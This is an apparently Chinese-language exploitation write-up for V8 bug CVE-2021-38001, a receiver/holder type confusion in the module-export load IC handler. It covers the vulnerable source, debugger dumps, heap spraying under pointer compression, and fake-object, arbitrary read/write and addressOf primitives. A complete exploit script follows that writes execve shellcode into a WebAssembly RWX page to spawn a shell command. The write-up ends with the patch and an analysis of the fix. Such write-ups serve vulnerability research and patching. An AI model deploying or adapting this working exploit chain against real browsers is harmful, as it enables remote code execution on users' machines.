在HandleLoadICHandlerCase中，会判断handler类型，这里会进入if_smi_handler分支，执行HandleLoadICSmiHandlerCase函数。在该函数中会调用DecodeWord对handler进行解码，得到LoadHandler的类型，这里的类型解码应该为LoadModuleExport，且访问模式为kLoad。所以该函数前面对于Element的处理都会跳过，直接进入最后的Load Property处理流程。

然后在该函数中最终会进入HandleLoadICSmiHandlerLoadNamedCase函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
void AccessorAssembler::HandleLoadICSmiHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> holder, TNode<Smi> smi_handler,
    TNode<Object> handler, Label* miss, ExitPoint* exit_point, ICMode ic_mode,
    OnNonExistent on_nonexistent, ElementSupport support_elements,
    LoadAccessMode access_mode) {
  TVARIABLE(Float64T, var_double_value);
  Label rebox_double(this, &var_double_value);

  TNode<IntPtrT> handler_word = SmiUntag(smi_handler);
  //解码获得handler_kind
  TNode<IntPtrT> handler_kind =
      Signed(DecodeWord<LoadHandler::KindBits>(handler_word));
	//是否支持elements
  if (support_elements == kSupportElements) {
    Label if_element(this), if_indexed_string(this), if_property(this),
        if_hole(this), unimplemented_elements_kind(this),
        if_oob(this, Label::kDeferred), try_string_to_array_index(this),
        emit_element_load(this);
    TVARIABLE(IntPtrT, var_intptr_index);
    //Load elment
    GotoIf(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kElement)),
           &if_element);
		//判断访问模式,进入load property流程
    if (access_mode == LoadAccessMode::kHas) {
      CSA_ASSERT(this,
                 WordNotEqual(handler_kind,
                              IntPtrConstant(LoadHandler::kIndexedString)));
      Goto(&if_property);
    } else {
      Branch(
          WordEqual(handler_kind, IntPtrConstant(LoadHandler::kIndexedString)),
          &if_indexed_string, &if_property);
    }

    BIND(&if_element);
    {
      ...
    }

    BIND(&unimplemented_elements_kind);
    {
      ...
    }

    BIND(&if_oob);
    {
     	...
    }

    BIND(&if_hole);
    {
     	...
    }

    if (access_mode != LoadAccessMode::kHas) {
      BIND(&if_indexed_string);
      {
        ...
      }
    }
		//Load property进入此流程
    BIND(&if_property);
    Comment("property_load");
  }
	//此时的访问模式为KLoad
  if (access_mode == LoadAccessMode::kHas) {
    HandleLoadICSmiHandlerHasNamedCase(p, holder, handler_kind, miss,
                                       exit_point, ic_mode);
  } else {
    //最终进入LoadName处理函数
    HandleLoadICSmiHandlerLoadNamedCase(
        p, holder, handler_kind, handler_word, &rebox_double, &var_double_value,
        handler, miss, exit_point, ic_mode, on_nonexistent, support_elements);
  }
}
HandleLoadICSmiHandlerLoadNamedCase
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//vul function
void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase(
    const LazyLoadICParameters* p, TNode<Object> holder,
    TNode<IntPtrT> handler_kind, TNode<WordT> handler_word, Label* rebox_double,
    TVariable<Float64T>* var_double_value, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements) {

  //根据handler类型，进入处理分支
  Branch(WordEqual(handler_kind, IntPtrConstant(LoadHandler::kModuleExport)),
         &module_export, &interceptor);
  ...

  // export module
  BIND(&module_export);
  {
    Comment("module export");
    //解码handler获得需要获得属性在value中的index
    TNode<UintPtrT> index =
        DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
    //调用LoadObjectFiled获取module属性
    //传入的参数为p->receiver()
    TNode<Module> module = LoadObjectField<Module>(
        CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
    //从module中获取exports属性
    TNode<ObjectHashTable> exports =
        LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
    //从exports根据index属性获取cell属性
    TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
    // The handler is only installed for exports that exist.
    //从cell中获取value值
    TNode<Object> value = LoadCellValue(cell);
    Label is_the_hole(this, Label::kDeferred);
    GotoIf(IsTheHole(value), &is_the_hole);
    //返回value
    exit_point->Return(value);

    BIND(&is_the_hole);
    {a
      TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);
      exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
                                    message, p->name());
    }
  }

  BIND(rebox_double);
  exit_point->Return(AllocateHeapNumberWithValue(var_double_value->value()));
}

在这个函数中可以看到对应module export的处理流程。首先调用DecodeWord对handler解密获得index，这个index将会用于从exports中获取cell的位置，这里就不需要再查找哈希表了，极大的节省了时间。

IC Feedback handler总结

这里对Feedback再做一个总结。在Feedback创建阶段，会将此时执行的访问类型type和属性在value中的偏移index调用encode函数进行加密然后封装为一个handler类型。在我们再次执行该属性访问时，会直接从handler中解密获得需要执行访问类型type来决定进入不同的处流流程，最后解密获得index来直接从value中获得属性。

接着上面的漏洞分析：

该函数接着会调用LoadObjectField函数从p->receiver()对象中获取module属性。

注意：这里传入的对象为p->receiver，而我们前面讲解No_feedback流程时提到创建handler时是从holder中取出module属性，对应到POC中hodler是exmodule这个变量，其为JSModuleNamespace对象。而这里的p->receiver对象却是c变量，其为JSObject_TYPE。所以发生了一个JSModuleNamespace和JSObject_TYPE的类型混淆，最终调用LoadObjectField去获取module属性时，由于JSObject_TYPE中对应module属性偏移的地方存储的是我们自己设置的c.x0 = 0x42424242的值，最终引发错误。

报错如下所示，此时R8的地址低4字节为我们设置的c.x0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
RAX  0x0
*RBX  0xae8081d3e39 ◂— 0x300000002080027 /* "'" */
*RCX  0xae8081d3405 ◂— 0x1f783561a080022 /* '"' */
*RDX  0xae80804aa95 ◂— 0x2d0800222d08207e
*RDI  0xae80804a489 ◂— 0x2d0804a8d908207f
*RSI  0xae80804a3a5 ◂— 0x8500000008082045
*R8   0xae842424242 ◂— 0x0
*R9   0xae80804a489 ◂— 0x2d0804a8d908207f
*R10  0x0
*R11  0x20e
*R12  0xae80804aa95 ◂— 0x2d0800222d08207e
*R13  0x55a45b791ea0 —▸ 0x7ffe153ca440 ◂— 0x55a45b791ea0
*R14  0xae800000000 ◂— push   rbp
*R15  0x0
*RBP  0x7ffe153c8aa8 —▸ 0x7ffe153c8ad8 —▸ 0x7ffe153c8b10 —▸ 0x7ffe153c8b78 —▸ 0x7ffe153c8c00 ◂— ...
*RSP  0x7ffe153c8a68 —▸ 0xae80804a3a5 ◂— 0x8500000008082045
*RIP  0xae80004614f ◂— mov    r8d, dword ptr [r8 + 3]
─────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0xae80004614f    mov    r8d, dword ptr [r8 + 3]
   0xae800046153    add    r8, r14
   0xae800046156    mov    r9d, dword ptr [r8 + 3]
   0xae80004615a    shr    r11, 6
   0xae80004615e    movsxd r9, r9d
   0xae800046161    and    r11, 0x1ffffff
   0xae800046168    sar    r9, 1
   0xae80004616b    cmp    r11, r9
   0xae80004616e    jb     0xae800046171                 <0xae800046171>
    ↓
   0xae800046171    mov    r8d, dword ptr [r8 + r11*4 + 7]
   0xae800046176    add    r8, r14

漏洞原因总结

1、 当对JSModuleNamespace对象的属性访问发生时，经过多次执行满足Lazy feedback allocation机制后，IC机制启动，此时会为每个属性访问建立feedback向量。其会为JSModuleNamespace对象建立feedback，其handler为LoadHandler::LoadModuleExport

2、 当再次发生对JSModuleNamespace对象的属性访问时，程序会进入mononorphicase处理流程，会根据每个feedback中handler的类型，进入不同的处理流程。对于JSModuleNamespace对象的handler为LoadModuleExport类型，程序会进入export module处理流程。在这个处理流程中，程序会调用LoadObjectField去获取对象的module属性，但是此时传入的参数却是p->receiver()对象。

3、 由于我们可以将一个JSModuleNamespace对象通过设置__proto__属性的方式放入到一个JSObject_TYPE对象的原型链中。当进入上述第1步时，可以使得holder为JSModuleNamespace对象。当进入第2步时，可以使得此时的p->receiver()为JSObject_TYPE，最终在此处形成了JSObject_TYPE被当作JSModuleNamespace的类型混淆。

漏洞利用

对象伪造

这里想要实现漏洞利用首先需要通过漏洞构造一个fake object。前面的漏洞测试，可以知道，可以向任意地址分配一个object出来，那么这里的难题就是在一个确定的地址处布置上合适的对象结构，使得我们能够通过漏洞先成功返回一个对象地址。

指针压缩 & 堆喷

由于在新的v8(2020.3.30之后的版本)中引入了指针压缩技术Pointer Compression in V8，用以减少内存的消耗，其核心思想是：对于64的指针不存储其绝对地址而是存储其相对于某个基址的偏移，基址存储在某个寄存器中。

指针压缩给我们的利用方法带来的困难是难以直接泄漏出完整的地址，但是也给我们的利用带来的了便利——我们在覆盖修改某些指针地址时只需要修改低位的4字节，相当于减小了地址随机化的范围。

由于指针压缩的原因，我们堆喷的范围被限制在了4GB的范围内，所以这里堆喷的空间是可以接受的。而且，经过测试，在Ubuntu20.04下的v8如果对于array的length设置为一个大值，那么其生成的array.elements的地址低4字节是固定的。这里使用测试代码如下：

1
2
3
4
5
var large_arr = [1.1];
large_arr.length = 0x4000;//0x10000;

%DebugPrint(large_arr);
%SystemBreak();

这里测试，large_arr.elements地址如下为0x33ba08242119，其低4字节不会改变。

1
2
3
4
5
6
7
8
9
10
11
12
13
DebugPrint: 0x33ba0804a551: [JSArray]
 - map: 0x33ba08203b09 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x33ba081cc0e9 <JSArray[0]>
 - elements: 0x33ba08242119 <FixedDoubleArray[16384]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 16384
 - properties: 0x33ba0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x33ba080048f1: [String] in ReadOnlySpace: #length: 0x33ba0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x33ba08242119 <FixedDoubleArray[16384]> {
           0: 1.1
     1-16383: <the_hole>
 }

然后经过多次测试，在V8启动了压缩指针的版本中，对于同一个版本在同样的环境下分配同一对象，多次启动d8其创建的对象Map和Elements的低4字节地址都是固定的。然后在Chrome上也经过测试，发现其map低4字节仍然不变，当然具体值与d8中有区别。

这里的原因根据这篇文章中有提到的Custom startup snapshots机制，猜测可能是由于这个heap snapshot的优化，它使用一个现成的“快照”来初始化V8的堆，以此来实现加快V8的启动。这个“快照”包含所有常用对象结构，当我们每次启动V8时都相当于加载这个快照来迅速完成启动，而由于快照的存储通常是一个二进制形式，那么在这个快照中存储的堆结构地址偏移就不会改变，则创建的对象在快照存储的偏移也就是固定的。

Fake Object

所以，我们可以将上面POC中c.x0的值设置为arr.elements的地址范围，这里选择0x08248000作为伪造的fake_object对象

但是，这里还必须保证我们指向的fake_object地址必须首先满足module类型的查找链，所以这里先看看每个地址查找的偏移，先通过JSM

这里会通过module找到exports属性，偏移为0x4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wndbg> job 0x2385081d3da9
0x2385081d3da9: [SourceTextModule] in OldSpace
 - map: 0x238508002ddd <Map[72]>
 - exports: 0x2385086446f9 <HashTable[11]>
 - status: 6
 - exception: 0x23850800242d <the_hole>
 - sfi/code/info: 0x238508644779 <JSGenerator>
 - script: 0x2385081d3b91 <Script>
 - origin: 0x2385086446b5 <String[54]: "/home/alex/v8/v8/out.gn/x64.debug/cve-2021-38001/1.mjs">
 - requested_modules: 0x23850800222d <FixedArray[0]>
 - import_meta: 0x23850800242d <the_hole>
 - cycle_root: 0x2385081d3da9 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
 - async_evaluating_ordinal: 0
pwndbg> tel 0x2385081d3da8
00:0000│  0x2385081d3da8 ◂— 0x86446f908002ddd		//偏移0x4为 exports类型
01:0008│  0x2385081d3db0 ◂— 0xc6a3251da

接着会通过exports找到y的 Cell对象，偏移为0x20：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> job 0x2385086446f9
0x2385086446f9: [ObjectHashTable] in OldSpace
 - FixedArray length: 11
 - elements: 3
 - deleted: 0
 - capacity: 4
 - elements: {
              0: x -> 0x2385081d3df1 <Cell value= 0x238508645d4d <Object map = 0x2385082022d1>>
              1: y -> 0x2385081d3df9 <Cell value= 0x238508645d69 <Object map = 0x238508207c09>>
              3: z -> 0x2385081d3e01 <Cell value= 0x238508645d79 <Object map = 0x2385082022d1>>
 }
pwndbg> tel 0x2385086446f8
00:0000│  0x2385086446f8 ◂— 0x1608002559 /* 'Y%' */
01:0008│  0x238508644700 ◂— 0x6
02:0010│  0x238508644708 ◂— 0x81d3bd100000008
03:0018│  0x238508644710 ◂— 0x81d3be1081d3df1
04:0020│  0x238508644718 ◂— 0x80023b5081d3df9	//偏移0x20为cell类型

接着通过Cell对象，找到value，偏移为0x4

1
2
3
4
5
6
7
pwndbg> job 0x2385081d3df9
0x2385081d3df9: [Cell] in OldSpace
 - map: 0x238508002649 <Map[8]>
 - value: 0x238508645d69 <Object map = 0x238508207c09>
pwndbg> tel 0x2385081d3df8
00:0000│  0x2385081d3df8 ◂— 0x8645d6908002649 /* 'I&' */	//偏移0x4为返回的value值
01:0008│  0x2385081d3e00 ◂— 0x8645d7908002649 /* 'I&' */

最终取得了value，并将其对象地址返回。

我们这里堆喷的内容如下：

1
2
3
4
5
6
7
8
9
10
function heapspray(){
    for(let i=0; i<large_arr.length; i++){
        large_arr[i] = i2f(0x1108248001332211n);
    }

    for(let i=0; i<0x10; i++){
        large_arr[0xbe0 + i] = i2f(0x0824810108248025n);
        large_arr[0xbf0 + i] = i2f(0x0824820108248125n);
    }
}

所以，主要是保证偏移0x08248000的内存如下，我们伪造的fake_object = 0x08248020：

1
2
3
4
5
pwndbg> tel 0x238508248000
00:0000│            0x238508248000 ◂— 0x8808248001332211
... ↓               3 skipped
04:0020│ rax-5 r8-5 0x238508248020 ◂— 0x824810108248025
... ↓               3 skipped

首先通过偏移0x3为0x238508248003得到fake_exports地址为0x238508248001

1
2
3
4
5
pwndbg> tel 0x238508248000+3
00:0000│            0x238508248003 ◂— 0x3322118808248001	//fake_exports
... ↓               2 skipped
03:0018│            0x23850824801b ◂— 0x2480258808248001
04:0020│ rax-2 r8-2 0x238508248023 ◂— 0x2480250824810108

然后偏移0x1f得到fake_cell为0x238508248025

1
2
3
pwndbg> tel 0x238508248001+0x1f
00:0000│ rax-5 r8-5 0x238508248020 ◂— 0x824810108248025
... ↓               7 skipped

然后偏移0x3得到fake_value为0x238508248025

1
2
3
pwndbg> tel 0x238508248025+3
00:0000│  0x238508248028 ◂— 0x824810108248025
... ↓     7 skipped

自此，我们成功返回了一个伪造的value对象，起始地址为 0x238508248025。

接下来，我们需要为这个对象写上合法的map值和property以及elements地址。

这里调试的信息如下所示，此时r8即为我们伪造的fake_object地址0x238508248000，然后通过偏移开始得到fake_value的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
RAX  0x0
*RBX  0x23850865ae35 ◂— 0x300000002080027 /* "'" */
*RCX  0x2385081d3be1 ◂— 0x11331ddb6080022 /* '"' */
*RDX  0x2385083c2dcd ◂— 0x2d0800222d081824
*RDI  0x2385083c27c1 ◂— 0x2d083c2c11081824
*RSI  0x2385083c26dd ◂— 0xf500000008082045
*R8   0x238508248000 ◂— 0x8808248001332211
*R9   0x2385083c27c1 ◂— 0x2d083c2c11081824
*R10  0x0
*R11  0x18e
*R12  0x2385083c2dcd ◂— 0x2d0800222d081824
 R13  0x564c5d834e40 —▸ 0x7ffd51cc8a00 ◂— 0x564c5d834e40
 R14  0x238500000000 ◂— push   rbp
*R15  0x0
 RBP  0x7ffd51cc6fc0 —▸ 0x7ffd51cc6ff0 —▸ 0x7ffd51cc7028 —▸ 0x7ffd51cc7090 —▸ 0x7ffd51cc7178 ◂— ...
*RSP  0x7ffd51cc6f80 ◂— 0x0
*RIP  0x23850004614f ◂— mov    r8d, dword ptr [r8 + 3]
────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x23850004614f    mov    r8d, dword ptr [r8 + 3]
   0x238500046153    add    r8, r14
   0x238500046156    mov    r9d, dword ptr [r8 + 3]
   0x23850004615a    shr    r11, 6
   0x23850004615e    movsxd r9, r9d
   0x238500046161    and    r11, 0x1ffffff
   0x238500046168    sar    r9, 1
   0x23850004616b    cmp    r11, r9
   0x23850004616e    jb     0x238500046171                <0x238500046171>
    ↓
   0x238500046171    mov    r8d, dword ptr [r8 + r11*4 + 7]
   0x238500046176    add    r8, r14

由下可以看到此时，会将我们伪造的fake_value返回0x238508248025

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
RAX  0x238508248025 ◂— 0x108248025082481
 RBX  0x23850865ae35 ◂— 0x300000002080027 /* "'" */
 RCX  0x2385081d3be1 ◂— 0x11331ddb6080022 /* '"' */
 RDX  0x2385083c2dcd ◂— 0x2d0800222d081824
 RDI  0x2385083c27c1 ◂— 0x2d083c2c11081824
 RSI  0x2385083c26dd ◂— 0xf500000008082045
 R8   0x238508248025 ◂— 0x108248025082481
 R9   0xffffffffc4041240
 R10  0x0
 R11  0x6
 R12  0x2385083c2dcd ◂— 0x2d0800222d081824
 R13  0x564c5d834e40 —▸ 0x7ffd51cc8a00 ◂— 0x564c5d834e40
 R14  0x238500000000 ◂— push   rbp
 R15  0x0
*RBP  0x7ffd51cc6ff0 —▸ 0x7ffd51cc7028 —▸ 0x7ffd51cc7090 —▸ 0x7ffd51cc7178 —▸ 0x7ffd51cc7228 ◂— ...
*RSP  0x7ffd51cc6fc8 —▸ 0x23850010d597 ◂— mov    r8, qword ptr [rbp - 0x20]
*RIP  0x238500044c17 ◂— ret    
────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────
   0x238500046180    cmp    dword ptr [r13 + 0xa8], eax
   0x238500046187    jne    0x238500045f5c                <0x238500045f5c>
    ↓
   0x238500045f5c    jmp    0x238500044c13                <0x238500044c13>
    ↓
   0x238500044c13    mov    rsp, rbp
   0x238500044c16    pop    rbp
 ► 0x238500044c17    ret    <0x23850010d597>
    ↓

arbitray read/write & addressOf

经过前面的伪造，此时我们成功将fake_value的值指向了低4字节为0x08248025的地址。然后我们立即执行如下代码，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//get fake_value object
let fake_value = trigger();

//create HeapNumber Object
fake_value[0] = i2f(0x1122334455667788n);

//create fixed_array
let victim = [
  i2f(0x4141414142424242n), i2f(0x4343434344444444n),
  i2f(0x4141414142424242n), i2f(0x4343434344444444n),
  i2f(0x4141414142424242n), i2f(0x4343434344444444n),
  i2f(0x4141414142424242n), i2f(0x4343434344444444n),
].slice(0);
//create
let ab = new ArrayBuffer(0x1337);
let leaked = [ab, ab, ab, ab];

首先对fake_value进行了一个赋值，那么此时则会为这个fake_value创建一个element属性。而由于整个fake_value的数据都位于large_arr.elements中。所以，我们可以通过查看large_arr.elements的值，来获得fake_value.elements的地址。

然后，我们紧接着创建了victim数组和leaked对象数组。那么此时的victim地址以及ab的地址就会和fake_value.elements的地址相邻，且偏移固定。那么此时通过将fake_value.elements地址加上固定偏移，即可获得victim对象的地址，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//change fake_value.element point to victim
for(let i=0; i<0x10; i++){
  // leak newly created HeapNumber object address to get relative offset to victim's elements
  //found fake_value.elements addr
  let tmp = get_low(large_arr[0xbf0 + i]);
  if (tmp[0] != 0x08248125) {
    // convert fake_value.element point to victim's object
    //0x08248028->propperties 0x0x0824802c->victim
    large_arr[0xbe1] = p_64(tmp[0] + 0x164 /* properties */, tmp[0] + 0x164 + 0x4c - 0x78 - 4 /* new elements */);  
    //0x08248024->map
    large_arr[0xbe0] = p_64(0x08248025, 0x08203ae1/* new map */);  
    console.log("Found:");
    break;
  }
}

那么此时，fake_value.elements就指向了victim对象地址，通过对fake_value的读写，就能读写victim对象。那么，就能实现任意读写：

1
2
3
4
5
6
7
8
9
10
function arb_read(address){
  //change victim.elements & victim.length
  fake_value[0] = p_64(address-4, 0x1000);
  return f2i(victim[0]);
}

function arb_write(address, val){
  fake_value[0] = p_64(address-4, 0x1000);
  victim[0] = i2f(val);
}

而且由于victim对象和leaked.elements地址相邻，通过读取fake_value的值，也就能读取leakd的值。那么最终实现了addressOf:

1
2
3
4
function addrof(object) {
  leaked[0] = object;
  return fake_value[10];
}

getshell

这里最终，仍然是通过addressOf和read得到wasm的rwx内存的地址。

然后劫持DataView的backing_store成员为wasm_addr，向其中写入shellcode再调用wasm函数即可触发恶意代码执行，弹出计算器

1
2
3
4
//1.mjs
export let x = {};
export let y = {test:0x2333};//new BigUint64Array(4);
export let z = {};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
//exp.mjs
import * as exmodule from "1.mjs";

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var u32 = new Uint32Array(buf);
function hex(i)
{
  return i.toString(16).padStart(16, "0");
}
// 浮点数转换为64位无符号整数
function f2i(f)
{
  float64[0] = f;
  return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
  bigUint64[0] = i;
  return float64[0];
}

function p_64(low, high){
    u32[0] = low;
    u32[1] = high;
    return float64[0];
}

function get_low(val){
    float64[0] = val;
    return u32;
}

var large_arr = [1.1];
large_arr.length = 0x5000;
//%DebugPrint(large_arr);
//%SystemBreak();
function heapspray(){
    for(let i=0; i<large_arr.length; i++){
        large_arr[i] = i2f(0x1108248001332211n);
    }

    for(let i=0; i<0x10; i++){
        large_arr[0xbe0 + i] = i2f(0x0824810108248025n);
        large_arr[0xbf0 + i] = i2f(0x0824820108248125n);
    }
}

function vul(){
    heapspray();
    //%DebugPrint(large_arr);
    class C {
        m(){
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = exmodule;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "exmodule" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x08248000 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
        return res;
    }
    
    for(let i=0; i<0x20; i++){
        trigger();
    }

    //get fake_value object
    let fake_value = trigger();
    // %DebugPrint(fake_value);
    // %SystemBreak();
    //create HeapNumber Object
    fake_value[0] = i2f(0x1122334455667788n);
    // %DebugPrint(fake_value);
    // %SystemBreak();
    //create fixed_array
    let victim = [
        i2f(0x4141414142424242n), i2f(0x4343434344444444n),
        i2f(0x4141414142424242n), i2f(0x4343434344444444n),
        i2f(0x4141414142424242n), i2f(0x4343434344444444n),
        i2f(0x4141414142424242n), i2f(0x4343434344444444n),
    ].slice(0);
    //create
    let ab = new ArrayBuffer(0x1337);
    let leaked = [ab, ab, ab, ab];

    //change fake_value.element point to victim
    for(let i=0; i<0x10; i++){
        // leak newly created HeapNumber object address to get relative offset to victim's elements
        //found fake_value.elements addr
        let tmp = get_low(large_arr[0xbf0 + i]);
        if (tmp[0] != 0x08248125) {
            // convert fake_value.element point to victim's object
            //0x08248028->propperties 0x0x0824802c->victim
            large_arr[0xbe1] = p_64(tmp[0] + 0x164 /* properties */, tmp[0] + 0x164 + 0x4c - 0x78 - 4 /* new elements */);  
            //0x08248024->map
            large_arr[0xbe0] = p_64(0x08248025, 0x08203ae1/* new map */);  
            console.log("Found:");
            break;
        }
    }
  
    function arb_read(address){
        //change victim.elements & victim.length
        fake_value[0] = p_64(address-4, 0x1000);
        return f2i(victim[0]);
    }

    function arb_write(address, val){
        fake_value[0] = p_64(address-4, 0x1000);
        victim[0] = i2f(val);
    }

    function addressOf(object){
        leaked[0] = object;
        return fake_value[10];
    }

    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;
    //%DebugPrint(wasmInstance);
    var instance_addr = get_low(addressOf(wasmInstance));
    console.log("[+]leak wasm instance addr: " + hex(instance_addr[0]));
    var rwx_page_addr = arb_read(instance_addr[0]+0x5f-4+1);
    console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));
    //%SystemBreak();
    let sh_sc = [
        0x91969dd1bb48c031n,
        0x53dbf748ff978cd0n,
        0xb05e545752995f54n,
        0x50f3bn
    ];

    let calc_sc = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
    
    var data_buf = new ArrayBuffer(128);
    var data_view = new DataView(data_buf);
    var data_buf_addr = get_low(addressOf(data_buf));
    var buf_backing_store_addr = data_buf_addr[0] - 1 + 0x20 -4;
    arb_write(buf_backing_store_addr-3, rwx_page_addr);
    //%DebugPrint(data_buf);
    //%SystemBreak();
    for (var i = 0; i < calc_sc.length; i++)
        data_view.setUint8(i, calc_sc[i]) ;   
    
    f();
}

vul();

漏洞修复

漏洞修复了两处代码，一处是AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase函数中，对于module export处理时，调用LoadObjectField函数获取module对象时，传入的参数修复为了holder，与创建handler时传入的参数都保持为了holder对象。

1
2
3
4
5
6
7
8
9
10
11
@@ -836,8 +836,8 @@ void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase(
     Comment("module export");
     TNode<UintPtrT> index =
         DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
   - TNode<Module> module = LoadObjectField<Module>(
   -     CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
   + TNode<Module> module =
   +     LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);
     TNode<ObjectHashTable> exports =
         LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
     TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));

第2处是LoadIC::ComputeHandler函数中，将原本简单的返回LoadModuleExport。增加了一个判断，通过holder_is_lookup_start_object判断holder与lookup_start_object对象是否相同，如果相同则仍然返回LoadModuleExport；如果不相同，则返回LoadFromPrototype。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@@ -996,7 +996,13 @@ Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
         // We found the accessor, so the entry must exist.
         DCHECK(entry.is_found());
         int value_index = ObjectHashTable::EntryToValueIndex(entry);
     -   return LoadHandler::LoadModuleExport(isolate(), value_index);
     +   Handle<Smi> smi_handler =
     +       LoadHandler::LoadModuleExport(isolate(), value_index);
     +   if (holder_is_lookup_start_object) {
     +     return smi_handler;
     +   }
     +   return LoadHandler::LoadFromPrototype(isolate(), map, holder,
     +                                         smi_handler);
       }

       Handle<Object> accessors = lookup->GetAccessors();

这里第一处的修复直接了当，直接将原有的类型混淆p->receiver()和holder给修复成功。

而第二处的修复，则是当存在多层原型链遍历查找时，为了防止在feedback创建时的holder和使用时的holder不一致。

这里结合调试来看看其对现在的POC的防范，可以看到此时生成的smi_handler与原漏洞版本的handler一致。

1
2
3
4
pwndbg> jh smi_handler
Smi: 0x18e (398)
pwndbg> p holder_is_lookup_start_object
$2 = false

但是由于holder和lookup_start_object对象并不一致，所以，其最终会返回LoadFromPrototype对象，如下所示：

1
2
3
4
5
6
pwndbg> jh handler
0x276408296079: [LoadHandler] in OldSpace
 - map: 0x276408006485 <Map[16]>
 - handler: 398
 - validity_cell: 0x276408295f75 <Cell value= 0>
 - data1: [weak] 0x27640810d2ed <Object map = 0x2764082c7f51>

